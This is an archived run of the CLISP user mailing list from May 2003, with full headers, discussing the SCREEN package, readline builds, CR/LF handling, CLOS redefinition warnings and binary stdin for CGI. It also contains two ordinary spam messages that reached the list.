CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] screen package In-reply-To: <16048.19561.138187.415881@isis.cs3-inc.com> References: <16048.19561.138187.415881@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 1 02:06:02 2003 X-Original-Date: Thu, 1 May 2003 20:10:18 +1000 Hello Don, Thursday, May 01, 2003, 8:21:29 AM, you wrote: > Does anyone out there have experience with the screen package in > windows XP ? I've not yet been able to try it myself but I was > unable over the phone to get it to work for a friend. I worked with it on win NT and did some tests under win 98. I've made even kinda windowed interface. It works. So tell your friend not to give up. > Also I notice (at least on windows ME and XP) the screen package turns > the screen blue. (Even just calling make-window does this, which > seems strange to me.) This suggests that it might be easy to add > support for colors, e.g, allowing you to print in red on a green > background. If that is easy, and especially if this functionality is > not otherwise easy to obtain, I suggest adding it. If anyone does > know an easy substitute, please tell me about it. White on black seems boring to me. Adding colors would lead to discrepancy between UNIX and windows SCREEN if only some expert in UNIX terminals not going to support colors on UNIX. AFAIK it would be hard to make color support working everywhere. -- Best regards, Arseny From sds@gnu.org Thu May 01 06:39:49 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BEHo-0005zS-00 for ; Thu, 01 May 2003 06:39:44 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030501133937.LGDN28930.out004.verizon.net@loiso.podval.org>; Thu, 1 May 2003 08:39:37 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h41Ddt9u018815; Thu, 1 May 2003 09:39:56 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h41Ddtxg018811; Thu, 1 May 2003 09:39:55 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: don-sourceforge@isis.cs3-inc.com ((Don Cohen)), clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] screen package References: <16048.19561.138187.415881@isis.cs3-inc.com> <7736133577.20030501201018@inbox.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <7736133577.20030501201018@inbox.ru> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [68.160.9.251] at Thu, 1 May 2003 08:39:37 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 1 07:13:22 2003 X-Original-Date: 01 May 2003 09:39:54 -0400 > * In message <7736133577.20030501201018@inbox.ru> > * On the subject of "Re: [clisp-list] screen package" > * Sent on Thu, 1 May 2003 20:10:18 +1000 > * Honorable Arseny Slobodjuck writes: > > Adding colors would lead to discrepancy between UNIX and windows > SCREEN if only some expert in UNIX terminals not going to support > colors on UNIX. AFAIK it would be hard to make color support working > everywhere. ncurses offers portable terminal color handling. it would be nice to work out a common API for win32 and ncurses for SCREEN. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Life is a sexually transmitted disease with 100% mortality. From don-sourceforge@isis.cs3-inc.com Thu May 01 08:07:16 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BFeW-0004O8-00 for ; Thu, 01 May 2003 08:07:16 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h41ExMh24323; Thu, 1 May 2003 07:59:22 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16049.13897.492753.861573@isis.cs3-inc.com> To: Arseny Slobodjuck , sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] screen package In-Reply-To: <7736133577.20030501201018@inbox.ru> References: <16048.19561.138187.415881@isis.cs3-inc.com> <7736133577.20030501201018@inbox.ru> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 1 08:08:12 2003 X-Original-Date: Thu, 1 May 2003 07:59:21 -0700 Arseny Slobodjuck writes: > I worked with it on win NT and did some tests under win 98. I've made > even kinda windowed interface. It works. So tell your friend not to > give up. I was wondering about xp in particular. I have it working on ME. Sam Steingold writes: > > Adding colors would lead to discrepancy between UNIX and windows > > SCREEN if only some expert in UNIX terminals not going to support > > colors on UNIX. AFAIK it would be hard to make color support working > > everywhere. > > ncurses offers portable terminal color handling. > Any idea whether/how this is related to windows ansi.sys ? That seems to be compatible with xterm. > it would be nice to work out a common API for win32 and ncurses for > SCREEN. It would be useful even to start with support for one platform. From lisp-clisp-list@m.gmane.org Thu May 01 09:02:48 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BGWE-0001VW-00 for ; Thu, 01 May 2003 09:02:46 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19BGUH-00055y-00 for ; Thu, 01 May 2003 18:00:45 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19BGNM-0004az-00 for ; Thu, 01 May 2003 17:53:36 +0200 From: Sam Steingold Organization: disorganization Lines: 22 Message-ID: References: <16048.49328.461483.162976@isis.cs3-inc.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: trouble with [=>] readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 1 09:03:12 2003 X-Original-Date: 01 May 2003 11:55:10 -0400 > * In message <16048.49328.461483.162976@isis.cs3-inc.com> > * On the subject of "trouble with [=>] readline" > * Sent on Wed, 30 Apr 2003 23:37:36 -0700 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > When I remove them (from /usr/lib - the new ones are in > /usr/local/lib) I can do the make but then when I try to run the > result I get a complaint about not finding readline.so > But building from the source seems to work better. I think you need to re-configure. > > $ type libls > What's this? For me the result is not found. that's my private alias to find all libraries. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux There are 10 kinds of people: those who count in binary and those who do not. From sds@gnu.org Thu May 01 13:33:26 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BKk9-000328-00 for ; Thu, 01 May 2003 13:33:25 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out001.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030501203319.WYIU12592.out001.verizon.net@loiso.podval.org>; Thu, 1 May 2003 15:33:19 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h41KXd9u029735; Thu, 1 May 2003 16:33:39 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h41KXbtd029731; Thu, 1 May 2003 16:33:37 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: Arseny Slobodjuck , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] screen package References: <16048.19561.138187.415881@isis.cs3-inc.com> <7736133577.20030501201018@inbox.ru> <16049.13897.492753.861573@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16049.13897.492753.861573@isis.cs3-inc.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [68.160.9.251] at Thu, 1 May 2003 15:33:18 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 1 13:34:13 2003 X-Original-Date: 01 May 2003 16:33:37 -0400 > * In message <16049.13897.492753.861573@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] screen package" > * Sent on Thu, 1 May 2003 07:59:21 -0700 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > it would be nice to work out a common API for win32 and ncurses for > > SCREEN. > > It would be useful even to start with support for one platform. indeed. would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Programming is like sex: one mistake and you have to support it for a lifetime. From w48kj16w8@aol.com Thu May 01 15:33:04 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19BMbu-000547-00; Thu, 01 May 2003 15:33:02 -0700 Received: from [218.90.223.54] (port=1523 helo=198.186.202.147) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19BMbo-0003xH-00; Thu, 01 May 2003 15:32:57 -0700 Received: from nhi.jpvjdn0.com ([88.143.5.179]) by 198.186.202.147 with ESMTP id B997FBCB81D; Thu, 01 May 2003 17:22:13 -0700 Message-ID: From: "Eli Gilbert" To: , , , X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="97FF0E.D0_4B_" X-Spam-Status: No, hits=2.3 required=7.0 tests=FROM_HAS_MIXED_NUMS,HTTP_USERNAME_USED,DATE_IN_PAST_03_06 version=2.21 X-Spam-Level: ** Subject: [clisp-list] eBay Auction Education -- family pluteaceae Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 1 15:34:02 2003 X-Original-Date: Thu, 01 May 03 17:22:13 GMT This is a multi-part message in MIME format. --97FF0E.D0_4B_ Content-Type: text/html Content-Transfer-Encoding: quoted-printable sefdqoov c vg vri --97FF0E.D0_4B_-- From tl@di.fc.ul.pt Fri May 02 09:32:43 2003 Received: from mail.di.fc.ul.pt ([194.117.21.40]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BdSi-0007xS-00 for ; Fri, 02 May 2003 09:32:40 -0700 Received: from doctmp03.di.fc.ul.pt (doctmp03.di.fc.ul.pt [194.117.21.247]) by mail.di.fc.ul.pt (8.11.6/8.11.6) with ESMTP id h42GWFX24148; Fri, 2 May 2003 17:32:15 +0100 From: Thibault Langlois Reply-To: tl@di.fc.ul.pt To: clisp-list@lists.sourceforge.net Content-Type: text/plain Organization: FCUL/DI Message-Id: <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Content-Transfer-Encoding: 7bit X-MailScanner-mail: Found to be clean X-SpamCheck-mail: not spam (whitelisted), SpamAssassin (score=0.3, required 9, NOSPAM_INC, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01) Subject: [clisp-list] problem reading bytes as characters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 2 09:39:34 2003 X-Original-Date: 02 May 2003 17:32:15 +0100 Hello, This is related with a problem I've posted to c.l.l but it seems to be specific to clisp. The following function writes bytes to a file and read them back as characters. (defun my-ugly-test () (print (lisp-implementation-type)) (print (lisp-implementation-version)) (let* ((file (progn (with-open-file (f "/tmp/test.bin" :direction :output :element-type 'unsigned-byte :if-exists :supersede) (loop for b from 10 to 13 do (write-byte b f))) "/tmp/test.bin")) (v-code (with-open-file (f file :direction :input) (loop for c = (read-char f nil nil) when c collect (cons c (char-code c)) while c))) (v-byte (with-open-file (f file :direction :input :element-type 'unsigned-byte) (loop for c = (read-byte f nil nil) when c collect c while c)))) (mapcar #'cons v-byte v-code))) Although the char-code and code-char function work as expected, I do obtain the expected result form the test function: [13]> (char-code #\return) 13 [14]> (char-code #\newline) 10 [15]> (code-char (char-code #\return)) #\Return [16]> (code-char 10) #\Newline [17]> (code-char 13) #\Return [19]> (my-ugly-test) "CLISP" "2.27 (released 2001-07-17) (built 3214131121) (memory 3250927427)" ((10 #\Newline . 10) (11 #\Vt . 11) (12 #\Page . 12) (13 #\Newline . 10)) Why is byte 13 read as #\newline char (and not #\return) ? Using Lispworks I get: CL-USER 68 > (my-ugly-test) "LispWorks" "4.2.6" ((10 #\Newline . 10) (11 #\VT . 11) (12 #\Page . 12) (13 #\Return . 13)) -- Thibault Langlois FCUL/DI From sds@gnu.org Fri May 02 09:53:03 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BdmR-0007p6-00 for ; Fri, 02 May 2003 09:53:03 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030502165256.UOJV27254.pop017.verizon.net@loiso.podval.org>; Fri, 2 May 2003 11:52:56 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h42GrJ9u006323; Fri, 2 May 2003 12:53:19 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h42GrI9b006319; Fri, 2 May 2003 12:53:18 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: tl@di.fc.ul.pt Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem reading bytes as characters References: <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt> Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [68.160.9.251] at Fri, 2 May 2003 11:52:56 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 2 09:59:22 2003 X-Original-Date: 02 May 2003 12:53:18 -0400 > * In message <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt> > * On the subject of "[clisp-list] problem reading bytes as characters" > * Sent on 02 May 2003 17:32:15 +0100 > * Honorable Thibault Langlois writes: > > Why is byte 13 read as #\newline char (and not #\return) ? Consider a file foo.dos created like this: (with-open-file (s "foo.dos" :direction :output :element-type '(unsigned-byte 8)) (write-sequence (mapcar #'char-code '(#\f #\o #\o #\Newline #\b #\a #\r #\Return #\Newline)) s)) now, what should (with-open-file (s "foo.dos" :direction :input :element-type 'character :external-format :dos) (read-line s)) return? You might reasonably argue that the right string to return is "foo\fbar". Unfortunately, "\f" (== (code-char 10)) is #\Newline in CLISP, so READ-LINE would return a string with an embedded newline, which, if not outright non-compliant, would be quite surprising to a user. Because of this problem, CLISP reads CR, LF and CRLF as #\Newline. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux I'm a Lisp variable -- bind me! From tl@di.fc.ul.pt Fri May 02 10:04:05 2003 Received: from mail.di.fc.ul.pt ([194.117.21.40]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Bdx5-0002Rm-00 for ; Fri, 02 May 2003 10:04:03 -0700 Received: from doctmp03.di.fc.ul.pt (doctmp03.di.fc.ul.pt [194.117.21.247]) by mail.di.fc.ul.pt (8.11.6/8.11.6) with ESMTP id h42H2XX24946; Fri, 2 May 2003 18:02:33 +0100 Subject: Re: [clisp-list] problem reading bytes as characters From: Thibault Langlois Reply-To: tl@di.fc.ul.pt To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt> Content-Type: text/plain Organization: FCUL/DI Message-Id: <1051894953.28518.32.camel@doctmp03.di.fc.ul.pt> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Content-Transfer-Encoding: 7bit X-MailScanner-mail: Found to be clean X-SpamCheck-mail: not spam (whitelisted), SpamAssassin (score=-1.7, required 9, IN_REP_TO, NOSPAM_INC, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_03_05, SUBJECT_IS_LIST) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 2 10:23:50 2003 X-Original-Date: 02 May 2003 18:02:33 +0100 On Fri, 2003-05-02 at 17:53, Sam Steingold wrote: > > * In message <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt> > > * On the subject of "[clisp-list] problem reading bytes as characters" > > * Sent on 02 May 2003 17:32:15 +0100 > > * Honorable Thibault Langlois writes: > > > > Why is byte 13 read as #\newline char (and not #\return) ? Sorry for posting to this list. I should have continue to send to c.l.l Thank you for your explanations. I think I can solve my problem with a more recent version of clisp, changing the stream-element-type of *standard-input* and then use read-byte as you suggest in your post on c.l.l Thibault > > Consider a file foo.dos created like this: > > (with-open-file (s "foo.dos" :direction :output > :element-type '(unsigned-byte 8)) > (write-sequence > (mapcar #'char-code > '(#\f #\o #\o #\Newline #\b #\a #\r #\Return #\Newline)) > s)) > > now, what should > > (with-open-file (s "foo.dos" :direction :input > :element-type 'character > :external-format :dos) > (read-line s)) > > return? > > You might reasonably argue that the right string to return is > "foo\fbar". Unfortunately, "\f" (== (code-char 10)) is #\Newline in > CLISP, so READ-LINE would return a string with an embedded newline, > which, if not outright non-compliant, would be quite surprising to a > user. > > Because of this problem, CLISP reads CR, LF and CRLF as #\Newline. -- Thibault Langlois FCUL/DI From mpaskin@yahoo.com Fri May 02 13:31:09 2003 Received: from web41010.mail.yahoo.com ([66.218.93.9]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BhBV-0008Bs-00 for ; Fri, 02 May 2003 13:31:09 -0700 Message-ID: <20030502203103.65411.qmail@web41010.mail.yahoo.com> Received: from [66.93.128.35] by web41010.mail.yahoo.com via HTTP; Fri, 02 May 2003 13:31:03 PDT From: Mark Paskin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] How do I supress method redefinition warnings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 2 13:32:37 2003 X-Original-Date: Fri, 2 May 2003 13:31:03 -0700 (PDT) Hello, Is there a way to supress method definition warnings in CLISP? In Allegro CL there is a variable EXCL:*REDEFINITION-WARNINGS* but I cannot find it in CLISP. Thanks for any help. Mark __________________________________ Do you Yahoo!? The New Yahoo! Search - Faster. Easier. Bingo. http://search.yahoo.com From sds@gnu.org Fri May 02 13:48:38 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BhSQ-0008DK-00 for ; Fri, 02 May 2003 13:48:38 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030502204831.VOPD3199.pop016.verizon.net@loiso.podval.org>; Fri, 2 May 2003 15:48:31 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h42Kmt9u007348; Fri, 2 May 2003 16:48:55 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h42KmtDG007344; Fri, 2 May 2003 16:48:55 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Mark Paskin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How do I supress method redefinition warnings? References: <20030502203103.65411.qmail@web41010.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030502203103.65411.qmail@web41010.mail.yahoo.com> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Fri, 2 May 2003 15:48:31 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 2 13:49:18 2003 X-Original-Date: 02 May 2003 16:48:55 -0400 > * In message <20030502203103.65411.qmail@web41010.mail.yahoo.com> > * On the subject of "[clisp-list] How do I supress method redefinition warnings?" > * Sent on Fri, 2 May 2003 13:31:03 -0700 (PDT) > * Honorable Mark Paskin writes: > > Is there a way to supress method definition warnings in CLISP? (without-package-lock ("CLOS") (setq clos::*warn-if-gf-already-called* nil clos::*gf-warn-on-replacing-method* nil)) (see also ) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux In C you can make mistakes, while in C++ you can also inherit them! From ilgn@facile.se Sat May 03 12:00:36 2003 Received: from [196.31.119.101] (helo=corenetworks1.CoreNetworks.co.za) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19C2FN-0004jC-00 for ; Sat, 03 May 2003 12:00:36 -0700 Received: from 123.hn ([61.132.30.202]) by corenetworks1.CoreNetworks.co.za with Microsoft SMTPSVC(5.0.2195.5329); Sat, 3 May 2003 19:54:13 +0200 Message-ID: <000008341dac$00000cda$00004930@cidenco.se> To: Cc: , , , , , , From: "John Patterson" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 03 May 2003 17:54:17.0683 (UTC) FILETIME=[0456A230:01C3119D] Subject: [clisp-list] how can you30172 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 3 12:01:16 2003 X-Original-Date: Sat, 03 May 2003 12:07:25 -1600 It's your cable companies Worst Nightmare. Your Cable Company will do anything to Keep you from seeing THIS. Limited supply at: http://www.faqchat.com/digiclear/index.php?RepID=PW Due to to high volume of sales traffic this site may be unavailable from time to time so if you are unable to connect please try again later. If you no longer wish to receive our offerings You may opt-out here. http://www.faqchat.com/digiclear/cleanlist.php From sds@gnu.org Sat May 03 14:41:42 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19C4lK-0000Es-00 for ; Sat, 03 May 2003 14:41:42 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030503214135.QGW27254.pop017.verizon.net@loiso.podval.org> for ; Sat, 3 May 2003 16:41:35 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h43Lg19u021960 for ; Sat, 3 May 2003 17:42:02 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h43Lg1vO021956; Sat, 3 May 2003 17:42:01 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [68.160.9.251] at Sat, 3 May 2003 16:41:35 -0500 Subject: [clisp-list] CGI & binary i/o with stdio Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 3 14:42:40 2003 X-Original-Date: 03 May 2003 17:42:00 -0400 some users want to be able to do binary i/o on *standard-input* and *standard-output* (CGI pretty much requires this). There appears to be no portable way to do this in CLISP. The usual way on Unix is (open "/dev/fd/0"). It should not be too hard to make this portable. The question is: what should the interface be? I.e., what argument to OPEN should open stdin (stdout, stderr)? E.g., (OPEN :TERMINAL )? CMUCL uses something like (fd-to-stream (dup 0)). but 0/1/2 is a unixism. Suggestions? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Growing Old is Inevitable; Growing Up is Optional. From kurosawa9696@dream.com Sat May 03 18:24:51 2003 Received: from smtp18.dreamnet.ne.jp ([202.217.109.121] helo=pop18.dreamnet.ne.jp) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19C8F4-0000Z1-00 for ; Sat, 03 May 2003 18:24:38 -0700 Received: from pc3 ([219.112.113.223]) by pop18.dreamnet.ne.jp with SMTP id <20030504012421.TEGC16049.pop18.dreamnet.ne.jp@pc3> for ; Sun, 4 May 2003 10:24:21 +0900 From: =?ISO-2022-JP?B?GyRCTDVOQSVXJWwlPCVzJUgbKEI=?= To: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: 7bit Message-Id: <20030504012421.TEGC16049.pop18.dreamnet.ne.jp@pc3> Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoTDVOQSVXJWwlPCVzJUgbKEI=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk 